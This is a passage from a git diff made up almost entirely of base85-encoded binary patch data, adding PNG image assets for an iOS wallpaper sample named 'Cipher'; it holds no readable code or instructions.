z;77Q0>AbZbTQ`5gvfa8sua?uwX|lb3z(d}s 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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs.png new file mode 100644 index 0000000000000000000000000000000000000000..47717c9aeb4154f033830efdfa2348247bb3c9fa GIT binary patch literal 36210 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 